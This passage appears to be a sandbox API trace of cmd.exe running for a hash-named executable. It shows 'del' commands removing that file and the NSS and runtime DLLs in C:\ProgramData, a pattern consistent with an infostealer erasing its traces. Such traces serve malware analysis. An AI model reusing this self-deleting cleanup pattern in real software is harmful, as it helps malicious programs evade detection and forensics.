(HeapHandle=0x550000, Flags=0x8, Size=0xb30) returned 0x55cfc8 [0126.470] FreeEnvironmentStringsA (penv="=") returned 1 [0126.470] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0126.470] GetProcessHeap () returned 0x550000 [0126.470] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55cfc8) returned 1 [0126.470] GetEnvironmentStringsW () returned 0x55c490* [0126.471] GetProcessHeap () returned 0x550000 [0126.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb30) returned 0x55cfc8 [0126.471] FreeEnvironmentStringsA (penv="=") returned 1 [0126.471] GetProcessHeap () returned 0x550000 [0126.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x558648) returned 1 [0126.471] DeleteProcThreadAttributeList (in: lpAttributeList=0x19f668 | out: lpAttributeList=0x19f668) [0126.471] GetConsoleTitleW (in: lpConsoleTitle=0x19f950, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0126.472] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0126.472] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0126.472] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0126.472] GetProcessHeap () returned 0x550000 [0126.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1bc) returned 0x55b330 [0126.473] GetProcessHeap () returned 0x550000 [0126.473] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x55b330, Size=0xe4) returned 0x55b330 [0126.473] GetProcessHeap () returned 0x550000 [0126.473] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x55b330) returned 0xe4 [0126.473] GetProcessHeap () returned 0x550000 [0126.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xea) returned 0x55b420 [0126.473] GetProcessHeap () returned 0x550000 [0126.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1bc) returned 0x55b518 [0126.473] GetProcessHeap () returned 0x550000 [0126.473] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x55b518, Size=0xe4) returned 0x55b518 [0126.473] GetProcessHeap () returned 0x550000 [0126.473] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x55b518) returned 0xe4 [0126.474] GetProcessHeap () returned 0x550000 [0126.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xce) returned 0x55b608 [0126.474] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x19f6f8 | out: lpBuffer="C:\\ProgramData") returned 0xe [0126.474] GetProcessHeap () returned 0x550000 [0126.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x38) returned 0x55a170 [0126.474] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x19e768 | out: lpBuffer="C:\\ProgramData") returned 0xe [0126.474] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x19e99c, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x19e9a0, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x19e99c*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0126.475] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0126.475] GetProcessHeap () returned 0x550000 [0126.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2c) returned 0x55b6e0 [0126.475] GetProcessHeap () returned 0x550000 [0126.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x258) returned 0x5587c8 [0126.476] _wcsicmp (_String1="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", _String2=".") returned 3 [0126.476] _wcsicmp (_String1="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", _String2="..") returned 3 [0126.476] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe")) returned 0x20 [0126.476] GetProcessHeap () returned 0x550000 [0126.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x210) returned 0x55b718 [0126.476] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x55b720 | out: lpBuffer="C:\\ProgramData") returned 0xe [0126.476] SetErrorMode (uMode=0x0) returned 0x0 [0126.476] SetErrorMode (uMode=0x1) returned 0x0 [0126.476] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", nBufferLength=0x104, lpBuffer=0x19edc8, lpFilePart=0x19ed9c | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", lpFilePart=0x19ed9c*="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") returned 0x62 [0126.476] SetErrorMode (uMode=0x0) returned 0x1 [0126.476] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop")) returned 0x11 [0126.477] GetProcessHeap () returned 0x550000 [0126.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x258) returned 0x558a28 [0126.477] _wcsicmp (_String1="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", _String2=".") returned 3 [0126.477] _wcsicmp (_String1="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", _String2="..") returned 3 [0126.477] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe")) returned 0x20 [0126.477] GetProcessHeap () returned 0x550000 [0126.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x92) returned 0x558c88 [0126.477] GetProcessHeap () returned 0x550000 [0126.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x44) returned 0x558d28 [0126.477] GetProcessHeap () returned 0x550000 [0126.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x44) returned 0x558d78 [0126.477] GetProcessHeap () returned 0x550000 [0126.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x808) returned 0x55c490 [0126.477] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", fInfoLevelId=0x0, lpFindFileData=0x55c49c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x55c49c) returned 0x558dc8 [0126.477] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0126.477] NtOpenFile (in: FileHandle=0x19ec9c, DesiredAccess=0x10000, ObjectAttributes=0x19ec64*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec8c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec9c*=0xa8, IoStatusBlock=0x19ec8c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.479] RtlReleaseRelativeName () returned 0x19ec7c [0126.479] RtlFreeAnsiString (AnsiString="\\") [0126.479] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19ebc8, FsInformation=0x19ebd0, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19ebc8, FsInformation=0x19ebd0) returned 0x0 [0126.479] CloseHandle (hObject=0xa8) returned 1 [0126.485] FindNextFileW (in: hFindFile=0x558dc8, lpFindFileData=0x55c49c | out: lpFindFileData=0x55c49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf668b600, ftCreationTime.dwHighDateTime=0x1d7b3bc, ftLastAccessTime.dwLowDateTime=0xf7014c80, ftLastAccessTime.dwHighDateTime=0x1d7b3bc, ftLastWriteTime.dwLowDateTime=0x31aeb900, ftLastWriteTime.dwHighDateTime=0x1d7b3ac, nFileSizeHigh=0x0, nFileSizeLow=0x92600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cAlternateFileName="1A0F89~1.EXE")) returned 0 [0126.486] GetLastError () returned 0x12 [0126.486] FindClose (in: hFindFile=0x558dc8 | out: hFindFile=0x558dc8) returned 1 [0126.486] GetProcessHeap () returned 0x550000 [0126.486] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c490) returned 1 [0126.486] GetProcessHeap () returned 0x550000 [0126.486] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x558d78) returned 1 [0126.486] GetProcessHeap () returned 0x550000 [0126.486] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x558c88) returned 1 [0126.486] GetProcessHeap () returned 0x550000 [0126.486] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x558d28) returned 1 [0126.486] GetProcessHeap () returned 0x550000 [0126.486] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x558a28) returned 1 [0126.486] GetProcessHeap () returned 0x550000 [0126.486] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b718) returned 1 [0126.486] GetProcessHeap () returned 0x550000 [0126.486] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x5587c8) returned 1 [0126.486] GetProcessHeap () returned 0x550000 [0126.486] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b6e0) returned 1 [0126.486] GetProcessHeap () returned 0x550000 [0126.486] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55a170) returned 1 [0126.486] GetProcessHeap () returned 0x550000 [0126.487] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b608) returned 1 [0126.487] GetProcessHeap () returned 0x550000 [0126.487] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b518) returned 1 [0126.487] GetConsoleTitleW (in: lpConsoleTitle=0x19f8f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0126.488] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0126.488] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0126.488] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0126.488] GetProcessHeap () returned 0x550000 [0126.488] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x64) returned 0x55b518 [0126.488] GetProcessHeap () returned 0x550000 [0126.488] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x55b518, Size=0x34) returned 0x55b518 [0126.488] GetProcessHeap () returned 0x550000 [0126.489] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x55b518) returned 0x34 [0126.489] GetProcessHeap () returned 0x550000 [0126.489] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3e) returned 0x55a170 [0126.489] GetProcessHeap () returned 0x550000 [0126.489] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x64) returned 0x55b558 [0126.489] GetProcessHeap () returned 0x550000 [0126.489] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x55b558, Size=0x34) returned 0x55b558 [0126.489] GetProcessHeap () returned 0x550000 [0126.489] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x55b558) returned 0x34 [0126.489] GetProcessHeap () returned 0x550000 [0126.489] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x32) returned 0x55b598 [0126.489] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x19f698 | out: lpBuffer="C:\\ProgramData") returned 0xe [0126.489] GetProcessHeap () returned 0x550000 [0126.489] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x38) returned 0x55b5d8 [0126.489] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x19e708 | out: lpBuffer="C:\\ProgramData") returned 0xe [0126.489] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x19e93c, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x19e940, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x19e93c*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0126.489] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0126.489] GetProcessHeap () returned 0x550000 [0126.489] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2c) returned 0x55b618 [0126.489] GetProcessHeap () returned 0x550000 [0126.489] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x258) returned 0x55b650 [0126.489] _wcsicmp (_String1="*.dll", _String2=".") returned -4 [0126.490] _wcsicmp (_String1="*.dll", _String2="..") returned -4 [0126.490] GetFileAttributesW (lpFileName="C:\\ProgramData\\*.dll" (normalized: "c:\\programdata\\*.dll")) returned 0xffffffff [0126.490] GetLastError () returned 0x7b [0126.490] GetProcessHeap () returned 0x550000 [0126.490] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x210) returned 0x5587c8 [0126.490] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x5587d0 | out: lpBuffer="C:\\ProgramData") returned 0xe [0126.490] SetErrorMode (uMode=0x0) returned 0x0 [0126.490] SetErrorMode (uMode=0x1) returned 0x0 [0126.490] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\*.dll", nBufferLength=0x104, lpBuffer=0x19ed68, lpFilePart=0x19ed3c | out: lpBuffer="C:\\ProgramData\\*.dll", lpFilePart=0x19ed3c*="*.dll") returned 0x14 [0126.490] SetErrorMode (uMode=0x0) returned 0x1 [0126.490] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x12 [0126.490] GetProcessHeap () returned 0x550000 [0126.490] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x258) returned 0x5589e0 [0126.490] _wcsicmp (_String1="*.dll", _String2=".") returned -4 [0126.490] _wcsicmp (_String1="*.dll", _String2="..") returned -4 [0126.490] GetFileAttributesW (lpFileName="C:\\ProgramData\\*.dll" (normalized: "c:\\programdata\\*.dll")) returned 0xffffffff [0126.490] GetLastError () returned 0x7b [0126.490] GetProcessHeap () returned 0x550000 [0126.490] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x14) returned 0x557850 [0126.491] GetProcessHeap () returned 0x550000 [0126.491] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x26) returned 0x55b8b0 [0126.491] GetProcessHeap () returned 0x550000 [0126.491] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x26) returned 0x55b8e0 [0126.491] GetProcessHeap () returned 0x550000 [0126.491] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x808) returned 0x55c490 [0126.491] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\*.dll", fInfoLevelId=0x0, lpFindFileData=0x55c49c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x55c49c) returned 0x55b910 [0126.491] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0126.491] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\freebl3.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.491] RtlReleaseRelativeName () returned 0x19ec1c [0126.491] RtlFreeAnsiString (AnsiString="\\") [0126.491] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0126.491] CloseHandle (hObject=0xa8) returned 1 [0126.496] FindNextFileW (in: hFindFile=0x55b910, lpFindFileData=0x55c49c | out: lpFindFileData=0x55c49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31b08520, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x31b08520, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x31b120f9, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x217d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozglue.dll", cAlternateFileName="")) returned 1 [0126.496] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0126.496] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\mozglue.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.496] RtlReleaseRelativeName () returned 0x19ec1c [0126.496] RtlFreeAnsiString (AnsiString="\\") [0126.496] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0126.496] CloseHandle (hObject=0xa8) returned 1 [0126.498] FindNextFileW (in: hFindFile=0x55b910, lpFindFileData=0x55c49c | out: lpFindFileData=0x55c49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c364de, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x31c364de, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x31c8b0ef, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x6b738, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0126.498] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0126.498] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\msvcp140.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.498] RtlReleaseRelativeName () returned 0x19ec1c [0126.498] RtlFreeAnsiString (AnsiString="\\") [0126.498] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0126.498] CloseHandle (hObject=0xa8) returned 1 [0126.503] FindNextFileW (in: hFindFile=0x55b910, lpFindFileData=0x55c49c | out: lpFindFileData=0x55c49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324180bf, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x324180bf, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x324a4c9a, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x1303d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nss3.dll", cAlternateFileName="")) returned 1 [0126.503] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0126.503] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\nss3.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.503] RtlReleaseRelativeName () returned 0x19ec1c [0126.503] RtlFreeAnsiString (AnsiString="\\") [0126.503] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0126.503] CloseHandle (hObject=0xa8) returned 1 [0126.525] FindNextFileW (in: hFindFile=0x55b910, lpFindFileData=0x55c49c | out: lpFindFileData=0x55c49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32534dfa, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x32534dfa, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x325486ed, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x235d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.dll", cAlternateFileName="")) returned 1 [0126.526] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0126.526] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\softokn3.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.526] RtlReleaseRelativeName () returned 0x19ec1c [0126.526] RtlFreeAnsiString (AnsiString="\\") [0126.526] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0126.526] CloseHandle (hObject=0xa8) returned 1 [0126.528] FindNextFileW (in: hFindFile=0x55b910, lpFindFileData=0x55c49c | out: lpFindFileData=0x55c49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3260ba00, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x3260ba00, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32615e8f, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x14748, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0126.528] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0126.528] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\vcruntime140.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.528] RtlReleaseRelativeName () returned 0x19ec1c [0126.528] RtlFreeAnsiString (AnsiString="\\") [0126.528] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0126.528] CloseHandle (hObject=0xa8) returned 1 [0126.530] FindNextFileW (in: hFindFile=0x55b910, lpFindFileData=0x55c49c | out: lpFindFileData=0x55c49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3260ba00, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x3260ba00, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32615e8f, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x14748, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0126.530] GetLastError () returned 0x12 [0126.530] FindClose (in: hFindFile=0x55b910 | out: hFindFile=0x55b910) returned 1 [0126.530] GetProcessHeap () returned 0x550000 [0126.530] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c490) returned 1 [0126.530] GetProcessHeap () returned 0x550000 [0126.530] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b8e0) returned 1 [0126.530] GetProcessHeap () returned 0x550000 [0126.530] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x557850) returned 1 [0126.530] GetProcessHeap () returned 0x550000 [0126.530] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b8b0) returned 1 [0126.530] GetProcessHeap () returned 0x550000 [0126.530] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x5589e0) returned 1 [0126.531] GetProcessHeap () returned 0x550000 [0126.531] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x5587c8) returned 1 [0126.531] GetProcessHeap () returned 0x550000 [0126.531] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b650) returned 1 [0126.531] GetProcessHeap () returned 0x550000 [0126.531] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b618) returned 1 [0126.531] GetProcessHeap () returned 0x550000 [0126.531] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b5d8) returned 1 [0126.531] GetProcessHeap () returned 0x550000 [0126.531] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b598) returned 1 [0126.531] GetProcessHeap () returned 0x550000 [0126.531] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b558) returned 1 [0126.531] GetConsoleTitleW (in: lpConsoleTitle=0x19f8f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0126.534] _wcsicmp (_String1="exit", _String2="DIR") returned 1 [0126.534] _wcsicmp (_String1="exit", _String2="ERASE") returned 6 [0126.534] _wcsicmp (_String1="exit", _String2="DEL") returned 1 [0126.534] _wcsicmp (_String1="exit", _String2="TYPE") returned -15 [0126.534] _wcsicmp (_String1="exit", _String2="COPY") returned 2 [0126.534] _wcsicmp (_String1="exit", _String2="CD") returned 2 [0126.534] _wcsicmp (_String1="exit", _String2="CHDIR") returned 2 [0126.534] _wcsicmp (_String1="exit", _String2="RENAME") returned -13 [0126.534] _wcsicmp (_String1="exit", _String2="REN") returned -13 [0126.534] _wcsicmp (_String1="exit", _String2="ECHO") returned 21 [0126.534] _wcsicmp (_String1="exit", _String2="SET") returned -14 [0126.534] _wcsicmp (_String1="exit", _String2="PAUSE") returned -11 [0126.534] _wcsicmp (_String1="exit", _String2="DATE") returned 1 [0126.534] _wcsicmp (_String1="exit", _String2="TIME") returned -15 [0126.534] _wcsicmp (_String1="exit", _String2="PROMPT") returned -11 [0126.534] _wcsicmp (_String1="exit", _String2="MD") returned -8 [0126.534] _wcsicmp (_String1="exit", _String2="MKDIR") returned -8 [0126.534] _wcsicmp (_String1="exit", _String2="RD") returned -13 [0126.535] _wcsicmp (_String1="exit", 